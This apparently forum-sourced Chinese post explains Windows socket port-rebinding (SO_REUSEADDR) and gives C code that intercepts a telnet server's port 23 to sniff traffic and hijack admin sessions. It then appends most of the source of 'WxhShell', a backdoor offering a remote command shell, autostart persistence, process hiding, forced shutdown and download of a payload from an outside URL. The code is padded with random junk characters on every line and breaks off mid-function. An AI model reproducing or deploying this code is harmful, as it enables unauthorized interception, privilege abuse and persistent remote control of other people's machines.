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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E&ReQgBft  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7ju^B/ 7  
Eb8~i_B-  
  saddr.sin_family = AF_INET; 3fUiYI|&7  
~ Zw37C9J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !iL6/  
y[/:?O}g4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <OrQbrWQa  
Ri3*au/Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h^YUu`P  
Rw<O%i5/d  
  这意味着什么?意味着可以进行如下的攻击: .7+"KP:  
'(zP;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 09=w  
_U o3_us  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w ^ X@PpP  
/vPr^Wv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^SbxClUfw!  
s)+] pxV0-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e35")z~  
%NcBq3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 braI MIQ`  
FzF#V=9lP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %v0;1m  
";upu  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xg4wtfAbS  
)Wk&c8|y  
  #include ?weuq"*a  
  #include }%c0EY'  
  #include &w{z  
  #include    "$3~):o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B}@CtVWFz  
  int main() Lie= DD  
  { `,Fc271`  
  WORD wVersionRequested; /Ri-iC >  
  DWORD ret; 6%V#_]  
  WSADATA wsaData; 6A4{6B  
  BOOL val; [xXV5 JU  
  SOCKADDR_IN saddr; A~;.9{6J[t  
  SOCKADDR_IN scaddr; +E+I.}sOB  
  int err; ([A%>u>h  
  SOCKET s; YpvFv-  
  SOCKET sc; /PpZ6ne~ [  
  int caddsize; >ktekO:H  
  HANDLE mt; 6ZQ$5PY  
  DWORD tid;   D77$aCt  
  wVersionRequested = MAKEWORD( 2, 2 ); P )[QC  
  err = WSAStartup( wVersionRequested, &wsaData ); WHr:M/qD  
  if ( err != 0 ) { v?o("I[ C  
  printf("error!WSAStartup failed!\n"); pIPjTQ?cq  
  return -1; Gb.}af#v  
  } <!-#]6  
  saddr.sin_family = AF_INET; ")u)AQ  
   u&'&E   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =j@8/  
K,!f7KKo  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [9Hrpo]tU:  
  saddr.sin_port = htons(23); %htbEKWR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <U}25AR  
  { KssIoP   
  printf("error!socket failed!\n"); Pu}PE-b  
  return -1; 7'7o^> !  
  } ?Hbi[YD  
  val = TRUE; ,%KMi-w]q,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 P9]95.j  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^mZTki4  
  { ! H4uc  
  printf("error!setsockopt failed!\n"); CYNpbv  
  return -1; ?xt${?KP  
  } _mDvRFq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R/&C}6G n  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %sS7o3RW\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zU# OjvNk  
KvEZbf 3f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mZ.E;X& ,*  
  { t`0(5v  
  ret=GetLastError(); ^ |>)H  
  printf("error!bind failed!\n"); 30h1)nQ$h}  
  return -1; R[2h!.O8  
  } `4"&_ltD  
  listen(s,2); 9-?kamA  
  while(1) y9Q"3LLic`  
  { 9|hPl-. .W  
  caddsize = sizeof(scaddr); F :-6Htmj  
  //接受连接请求 ;W!hl<``d*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cWa> rUsF  
  if(sc!=INVALID_SOCKET) gC/-7/}  
  { fG /wU$B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]K%D$x{+\  
  if(mt==NULL) Ay\!ohIS3  
  { _1?Fy u&<5  
  printf("Thread Creat Failed!\n"); mGUl/.;yp-  
  break; r<.*:]L  
  } =_d-MJy~6  
  } C5oIl_t  
  CloseHandle(mt); 0Y\7A  
  } =Y5*J#  
  closesocket(s); .w)T2(  
  WSACleanup(); 1;9  %L@  
  return 0; CYC6:g|)  
  }   Ox f,2r  
  DWORD WINAPI ClientThread(LPVOID lpParam) h_h6@/1l  
  { }u'O<d~z?  
  SOCKET ss = (SOCKET)lpParam; Uf-`g>  
  SOCKET sc; DYCXzFAa  
  unsigned char buf[4096]; 1H,hw  
  SOCKADDR_IN saddr; 3yIC@>&y(8  
  long num; ,6a }l;lv  
  DWORD val; {%z}CTf#  
  DWORD ret; hH@pA:`s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +yu^Z*_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |y7#D9m  
  saddr.sin_family = AF_INET; .e2 K\o  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;?:X_C  
  saddr.sin_port = htons(23);  ?ik6kWI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x20sB  
  { UjQi9ELoJ  
  printf("error!socket failed!\n"); f5QJj<@  
  return -1; # FV`*G  
  } N @sVA%L.  
  val = 100; %D}]Z=gp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AT,?dxP J  
  { c95{Xy  
  ret = GetLastError(); %Tv^BYQAZ  
  return -1; [KjL`  
  } @g'SH:}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @y`7csb p  
  { eEkbD"Q  
  ret = GetLastError(); RJZ4fl  
  return -1; SwPc<Z?P  
  } 79Vp^GG7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z|>f*Z  
  { ] Q\/si&  
  printf("error!socket connect failed!\n"); ?{I]!gI  
  closesocket(sc); zbL6TP@=  
  closesocket(ss); t^1c^RpTb  
  return -1; yasKU6^R'  
  } Sud5F4S  
  while(1) y|@=j~}Zq  
  { 6?c(ueiL[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &D~70N\L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,*@6NK,.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,, G6L{&Z  
  num = recv(ss,buf,4096,0); tJ9i{TS  
  if(num>0) r-a/vx#  
  send(sc,buf,num,0); slK L(-D{  
  else if(num==0)  !(<Yc5  
  break; URD<KIN>  
  num = recv(sc,buf,4096,0); -3T6ck  
  if(num>0) sx0:g?F3j  
  send(ss,buf,num,0); Pc4FEH/  
  else if(num==0) G&Sp }  
  break; K}U}h>N  
  } bh1WD_  
  closesocket(ss); *:}NS8hP  
  closesocket(sc); ZrFC#wJb  
  return 0 ; {^#62Y  
  } x1kb]0s<-  
DN@T4!  
$Y4;Xe=  
========================================================== \}e1\MiZ  
dEp?jJP$;  
下边附上一个代码,,WXhSHELL }X3SjNd q  
!:mo2zA  
========================================================== 0VB~4NNR  
+`x8[A)-  
#include "stdafx.h" !s]LWCX+|  
QMfa~TH#p  
#include <stdio.h> j[h4F"`-  
#include <string.h> r^k:$wJbRK  
#include <windows.h> GiN\nu<!  
#include <winsock2.h> ccJ@jpXI  
#include <winsvc.h> #U NTD4   
#include <urlmon.h> TK;*:K8oe  
T }X#I'Z  
#pragma comment (lib, "Ws2_32.lib") +M6qbIO  
#pragma comment (lib, "urlmon.lib") 8eSIY17  
*Ki ],>_~  
#define MAX_USER   100 // 最大客户端连接数 u9FXZK7  
#define BUF_SOCK   200 // sock buffer qF(F<$B  
#define KEY_BUFF   255 // 输入 buffer )BY\c7SG  
J..>ApX  
#define REBOOT     0   // 重启 1TKOvy_  
#define SHUTDOWN   1   // 关机 RTNUHz;{L  
]cnLJ^2  
#define DEF_PORT   5000 // 监听端口 ]iuM2]  
x aWmwsym  
#define REG_LEN     16   // 注册表键长度 g`!:7|&,_  
#define SVC_LEN     80   // NT服务名长度 {@9y%lmrh  
0=;jGh}|i  
// 从dll定义API $@t-Oor;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 31y=Ar""  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EW{z?/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 92GO.xAD?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ho_;;y  
!c\d(u  
// wxhshell配置信息  )>Oip  
struct WSCFG { +'?p $@d  
  int ws_port;         // 监听端口 -tSWYp{  
  char ws_passstr[REG_LEN]; // 口令 (KHTgZ6  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9/MUzt  
  char ws_regname[REG_LEN]; // 注册表键名 $Tt@Xu  
  char ws_svcname[REG_LEN]; // 服务名 \c+)Y}:D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IBWUeB:b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #{GUu ',?&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n< [np;\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uRQm.8b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #:Di1I9<O7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dfe 9)m>  
hq/\'Z&!+P  
}; pK#Ze/!  
SG8H~]CO)  
// default Wxhshell configuration z_eP  
struct WSCFG wscfg={DEF_PORT, 5,'?NEyw  
    "xuhuanlingzhe", [SgP1>M  
    1, r:y *l4  
    "Wxhshell", h%(dT/jPL)  
    "Wxhshell", /!UuGm   
            "WxhShell Service", phUno2fH  
    "Wrsky Windows CmdShell Service", 0yXUVKq3  
    "Please Input Your Password: ", Z bxd,|<|  
  1, PEoO s  
  "http://www.wrsky.com/wxhshell.exe", @<\f[Znto  
  "Wxhshell.exe" Y2j>lf?8  
    }; <oPo?r|oM|  
VY@uQ#&A  
// 消息定义模块 /g712\?M4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 46*o_A,"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tn;e PcU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6z"fBF  
char *msg_ws_ext="\n\rExit."; $GUSTV  
char *msg_ws_end="\n\rQuit."; XZA3T Z  
char *msg_ws_boot="\n\rReboot..."; fSl+;|K n  
char *msg_ws_poff="\n\rShutdown..."; >\8Bu#&s4  
char *msg_ws_down="\n\rSave to "; tuK"}HepB  
=R!=uml(  
char *msg_ws_err="\n\rErr!"; t/_w}  
char *msg_ws_ok="\n\rOK!"; -c%GlpZw  
52tIe|KwL  
char ExeFile[MAX_PATH]; R 3 Eh47  
int nUser = 0; =V_} z3b  
HANDLE handles[MAX_USER]; $ # @G!  
int OsIsNt; N- ?U2V  
3`J?as@^8  
SERVICE_STATUS       serviceStatus; EKk~~PhW 8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t qbS!r  
|t|+pBB  
// 函数声明 z['>`Kt  
int Install(void); ];^A8?  
int Uninstall(void); RM-| ?%  
int DownloadFile(char *sURL, SOCKET wsh); NyJU?^f&v  
int Boot(int flag); Q}W6?XDu  
void HideProc(void); 09eS&J<R  
int GetOsVer(void); lKI1bs]i  
int Wxhshell(SOCKET wsl); 6CLrP} u  
void TalkWithClient(void *cs); 95aa  
int CmdShell(SOCKET sock); 2;5EH 0  
int StartFromService(void); !k||-Q &  
int StartWxhshell(LPSTR lpCmdLine); V{$(#r  
?y'KX]/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \)DP(wC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >; nE.]  
De4UGX  
// 数据结构和表定义 IQoz8!guh:  
SERVICE_TABLE_ENTRY DispatchTable[] = 85m[^WGyh  
{ v@LK3S/!3  
{wscfg.ws_svcname, NTServiceMain}, >yg mE`g  
{NULL, NULL} y VUA7IY  
}; `z-4OJ8~  
]/HSlT=  
// 自我安装 g[44YrRD  
int Install(void) kG &.|  
{ kW4/0PD  
  char svExeFile[MAX_PATH]; X(?.*m@+TB  
  HKEY key; d[w'j/{  
  strcpy(svExeFile,ExeFile); B1JdkL 3h  
0lF.!\9  
// 如果是win9x系统,修改注册表设为自启动 5 r"`c  
if(!OsIsNt) { 0MF[e3)a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .Hl]xI$;+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -B9C2  
  RegCloseKey(key); mgL~ $  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R?(0:f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (i1FMd}G  
  RegCloseKey(key); 1@P/h#_Vr  
  return 0; k)b}"' I  
    } c#$B;?  
  } 05LVfgJ'q  
} Cv>|>Ob#  
else { )(9>r /bq  
4gb2$"!  
// 如果是NT以上系统,安装为系统服务 &kHp}\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ji :2P*  
if (schSCManager!=0)  VD;Ot<%  
{ V2,54YE  
  SC_HANDLE schService = CreateService U voX\  
  ( GX&BUP\  
  schSCManager, =_\5h=`Yx  
  wscfg.ws_svcname, n %"q>  
  wscfg.ws_svcdisp, >:Na^+c  
  SERVICE_ALL_ACCESS, Y]P'; C_eP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wP/&k`HQ#i  
  SERVICE_AUTO_START, 'LpJ:Th  
  SERVICE_ERROR_NORMAL, `g<@F^x5  
  svExeFile, G6w&C^J*8>  
  NULL, Lz2wOB1Zc+  
  NULL, *j?tcxq  
  NULL, ;RflzY|D  
  NULL, :`2<SF^0O  
  NULL A)kx,,[  
  ); ]U!vZY@\  
  if (schService!=0) f'0n^mSP  
  { aA-A>z  
  CloseServiceHandle(schService); 4!i`9w$$"  
  CloseServiceHandle(schSCManager); u01 'f-h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sD7Qt  
  strcat(svExeFile,wscfg.ws_svcname); L$cNxz0$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #M$[C d I$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Jor >YB`X  
  RegCloseKey(key); -ZlBg~E  
  return 0; zIi|z}WJ  
    } TUIj-HSe  
  } bTHKMaGWC  
  CloseServiceHandle(schSCManager); c$rkbbf~V  
} 0Jm6 r4s?  
} KiT>W~  
,a eQXI#@  
return 1; 8;ke,x  
} S(.AE@U  
 iE=Yh  
// 自我卸载 =<e|<EwSZ  
int Uninstall(void) (wEaa'XL  
{ L@HPU;<  
  HKEY key; l_hM,]T0  
P,k~! F^L  
if(!OsIsNt) { swYlp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :tp2@*] 9Z  
  RegDeleteValue(key,wscfg.ws_regname); mcy\nAf5%  
  RegCloseKey(key); "CLoM\M)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 15+>W4v  
  RegDeleteValue(key,wscfg.ws_regname); 'A;G[(SYy  
  RegCloseKey(key); K#rfQ0QK/!  
  return 0; seC]=UJh#>  
  } 5ppOG_  
} 'DO^($N  
} GR@!mf  
else { e:fp8 k<  
(+6 8s9XS7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L^bt-QbhO  
if (schSCManager!=0) gKeqf-UWKJ  
{ 9]fhH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +%Q:  
  if (schService!=0) #no~g( !o  
  { 0]4kR8R3[  
  if(DeleteService(schService)!=0) { <f.*=/]W2  
  CloseServiceHandle(schService); Zu`; S#Y  
  CloseServiceHandle(schSCManager); 0D/u`-  
  return 0; 6w(Mb~[n  
  } 'kb5pl~U  
  CloseServiceHandle(schService); XK??5'&{  
  } ma9q?H#X  
  CloseServiceHandle(schSCManager); 0T7(c-  
} TG7Ba[%  
} rqW[B/a{  
*vt5dxB  
return 1; :f%FM&b  
} kP~'C'5Ys  
oJa6)+b(3  
// 从指定url下载文件 Mx{VN P  
int DownloadFile(char *sURL, SOCKET wsh) u$ C@0d  
{ D,q=?~  
  HRESULT hr; R)i  
char seps[]= "/"; o#3?")>|  
char *token; Tlrr02>B{  
char *file; aEU[k>&  
char myURL[MAX_PATH]; &7Frg`B&:  
char myFILE[MAX_PATH]; Vcn04j#Q  
 R}Pw#*B  
strcpy(myURL,sURL); >2h|$6iWP  
  token=strtok(myURL,seps); N<lejZ}!q  
  while(token!=NULL) I@Zd<Rn  
  { Ft%HWGE  
    file=token; ^kZfE"iE2  
  token=strtok(NULL,seps); (Mi]vK.4  
  } 4w,=6|#  
zRTR  
GetCurrentDirectory(MAX_PATH,myFILE); W}m-5L  
strcat(myFILE, "\\"); ! |SPOk  
strcat(myFILE, file); mr:;Wwd  
  send(wsh,myFILE,strlen(myFILE),0); Yhdt"@;..  
send(wsh,"...",3,0); 1HQh%dZZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?#8',:  
  if(hr==S_OK) HT]W2^k  
return 0; H`u8}{7  
else ,M2u (9  
return 1; A4LGF  
Z$ qFjWp  
} n\d`Fk  
i`[5%6\"&  
// 系统电源模块 [MSLVTR  
int Boot(int flag) 9$,x^Qx  
{ $r`K4g  
  HANDLE hToken; v*Tliw`-U  
  TOKEN_PRIVILEGES tkp; hsV+?#I  
)aoB -Lu  
  if(OsIsNt) { \zj _6Os  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s_]p6M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ' JHCf  
    tkp.PrivilegeCount = 1; 5 o:VixZf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C${{&$&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u] C/RDTH  
if(flag==REBOOT) { TymE(,1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hUirvDvX  
  return 0; q6A!xQs<  
} zJ{?'kp  
else { 6o@}k9AN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 89@\AjI  
  return 0; 8N<0|u  
} .G[y^w)w}  
  } o(xRq;i  
  else { #_yQv?J  
if(flag==REBOOT) { r fqw/o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xdWfrm$;ZA  
  return 0; (Wkli:Lq  
} Zgp]s+%E  
else { [6x-c;H_4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0_yE74i  
  return 0; shW$V93<  
} U3r[ysf  
} ( Lj{V}^  
\)'nxFKqV  
return 1; `|K,E  
} gLv|Hu7  
wu?ahNb.`Y  
// win9x进程隐藏模块 pAS!;t=n,  
void HideProc(void) v-6" *EP  
{ wUzQ`h2  
Oq"(oNG@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eeIh }t>[  
  if ( hKernel != NULL ) o?\)!_Z|  
  { Ore$yI}!m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s vn[c*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {#q']YDe`  
    FreeLibrary(hKernel); y e!Bfz>  
  } `mPmEV<  
^_4TDC~h  
return; '^'4C'J  
} h"VQFqQy  
Tks;,C  
// 获取操作系统版本 {9TWPB/>  
int GetOsVer(void) "cjZ6^Hum  
{ K%LDOVE8e  
  OSVERSIONINFO winfo; H e]1 <tx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E/cA6*E[.<  
  GetVersionEx(&winfo); 3_=~7B) 8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  {ZFa +  
  return 1; $,08y   
  else Wd4fIegk  
  return 0; L/(e/Jalg  
} (^GVy=  
Myss$gt}  
// 客户端句柄模块 khT&[!J{>  
int Wxhshell(SOCKET wsl) ,CW]d#P|  
{ $w%oLI@kl  
  SOCKET wsh; /^96|  
  struct sockaddr_in client; !8&,GT  
  DWORD myID; a?'3  
ZWMX!>o<  
  while(nUser<MAX_USER) WrbDB-uM  
{ J#Fe"  
  int nSize=sizeof(client); j`Lf/S!}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); iHjo3_g)n  
  if(wsh==INVALID_SOCKET) return 1; eux _tyC  
w?ssV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q! W ~>c!  
if(handles[nUser]==0) 1!8*mk_R{  
  closesocket(wsh); 20m6-rkI<}  
else P Y +~,T2  
  nUser++; TRz~rW k  
  } UCYhaD@sP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z.1 6%@R  
H%7V)"  
  return 0; )hk=wu6  
} b{)('C$  
TI}H(XL(  
// 关闭 socket  .Pq8C  
void CloseIt(SOCKET wsh) 4zghM<  
{ etf ft8  
closesocket(wsh); La%\- o  
nUser--; )DMu`cD  
ExitThread(0); )ufHk  
} %Hv$PsSJ  
o^RdVSkU;  
// 客户端请求句柄 <mHptgd,  
void TalkWithClient(void *cs) L1BpkB  
{ ]6OrL TmP  
h7Jo _L7  
  SOCKET wsh=(SOCKET)cs; N&NOh|YS  
  char pwd[SVC_LEN]; V2es.I  
  char cmd[KEY_BUFF]; :{4G= UbAI  
char chr[1]; Ga f/0/|  
int i,j; 0w\X  
DjOFfD\MF  
  while (nUser < MAX_USER) { B0=:A  
mDE{s",q/  
if(wscfg.ws_passstr) { 9BI5qHEp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4 E3@O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,-  ]2s_  
  //ZeroMemory(pwd,KEY_BUFF); y:4Sw#M%(  
      i=0; ;0E"4(S.q1  
  while(i<SVC_LEN) { j-gLX  
;TSnIC)c  
  // 设置超时 CkoPno  
  fd_set FdRead; 6uDA{[OH  
  struct timeval TimeOut; f<SSg* A;  
  FD_ZERO(&FdRead); x+B~t4A  
  FD_SET(wsh,&FdRead); w%S<N  
  TimeOut.tv_sec=8; 5K'EuI)  
  TimeOut.tv_usec=0; QXJD' c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d!8q+FI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +^YV>;  
uW>AH@Pij  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M0Z>$Az]t  
  pwd=chr[0]; >&^w\"'  
  if(chr[0]==0xd || chr[0]==0xa) { :Tuy]]k  
  pwd=0; gZM{]GQ  
  break; Y@eHp-[  
  } H[@}ri<  
  i++; R'dF<&Kj|  
    } rShi"Yw  
*(?YgV  
  // 如果是非法用户,关闭 socket O#O~A |  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #a#~YSnG  
} "EEE09~l\  
&8"a7$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 344,mnAd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p5F[( H|9  
^%_B'X9  
while(1) { 8YkP57Y%[Z  
74gU 4T  
  ZeroMemory(cmd,KEY_BUFF); H'gPGOd  
lG# &Pv>-  
      // 自动支持客户端 telnet标准   K'?ab 0  
  j=0; bG^eP :r  
  while(j<KEY_BUFF) { s+zb[3}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aS~k.^N  
  cmd[j]=chr[0]; )\mklM9Z  
  if(chr[0]==0xa || chr[0]==0xd) { a]X6)6  
  cmd[j]=0; eBU\&z[  
  break; .6O>P2m]a_  
  } F!]UaEmV  
  j++; eg(xN/D  
    } {h9#JMIA  
);))kYr  
  // 下载文件 zN5i}U=|r  
  if(strstr(cmd,"http://")) { @Jm$<E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fvit+  
  if(DownloadFile(cmd,wsh)) dUO~dV1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y2<#%@%4  
  else ULU ]k#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #S<>+,Lk  
  } _9n.ir5YX  
  else { u x:,io  
S<p "k]  
    switch(cmd[0]) { &)s A(  
  !@VmaAT  
  // 帮助 NmB0CbB  
  case '?': { Y}1|/6eJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Eq.c;3  
    break; "#4PU5.  
  } -D!F|&$  
  // 安装 I*lq0&  
  case 'i': { boN)C?"^h  
    if(Install()) gEi" m5po  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q,:\i+>K*  
    else O)9T|, U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PI?-gc?[  
    break; JC=Bxv  
    } 8: s3Q`O  
  // 卸载 Z]SCIU @+  
  case 'r': { :~T:&;q0  
    if(Uninstall()) uL-i>!"L!}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =,T~F3pK  
    else #v&&GuF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W 8E<P y  
    break; #mllVQ  
    } vjXvjv{t  
  // 显示 wxhshell 所在路径 ir]uFOj  
  case 'p': { R4IFl z  
    char svExeFile[MAX_PATH]; xY!]eLZ)&  
    strcpy(svExeFile,"\n\r"); a 3O_8GU  
      strcat(svExeFile,ExeFile); ~7~nU>Vv  
        send(wsh,svExeFile,strlen(svExeFile),0); i6X/`XW'  
    break; MH !CzV&  
    } .7) A8R7Wt  
  // 重启 r ,b  
  case 'b': { ie$=3nZJ}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iz*aBXVA[  
    if(Boot(REBOOT)) |Cen5s W&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gcv,]v 8  
    else { " g_\W  
    closesocket(wsh); Np/[MC  
    ExitThread(0); iOJgZuP  
    } +i)1 jX<  
    break; ^ g4)aaBZ  
    } Y^6=_^  
  // 关机 RsV<*s  
  case 'd': { t8P>s})[4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 55!9U:{  
    if(Boot(SHUTDOWN)) VS}Vl  
